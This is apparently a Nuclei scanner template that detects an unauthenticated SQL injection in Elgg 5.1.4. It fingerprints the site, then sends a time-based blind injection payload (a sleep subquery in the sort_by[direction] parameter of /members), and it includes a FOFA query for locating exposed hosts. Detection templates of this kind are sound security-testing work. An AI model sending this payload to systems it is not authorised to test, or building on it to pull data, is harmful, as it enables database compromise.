id: elgg-sqli

info:
  name: Elgg 5.1.4 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    Elgg 5.1.4 version has a SQL Injection vulnerability in the sort_by[direction] parameter. This vulnerability allows an unauthenticated attacker to manipulate SQL queries by injecting malicious SQL code, potentially leading to unauthorized data access or database compromise. No user authentication is required to exploit this vulnerability.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Elgg_unauth_SQLi_5.1.4.md
    - https://github.com/Elgg/Elgg
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: elgg
    product: elgg
    fofa-query: icon_hash="413602919"
  tags: elgg,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"elgg.js")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'contains(body,"All members")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100a1427ee890b2013312ca3ccd0ae189fa139aa2c75f91d9707c942d4ffe208554022100d11dbbd6659d89cd17a9bac27fb2e8d822d84f02f0385c5b6c2baa0daf7421a0:922c64590222798bb761d5b6d8e72950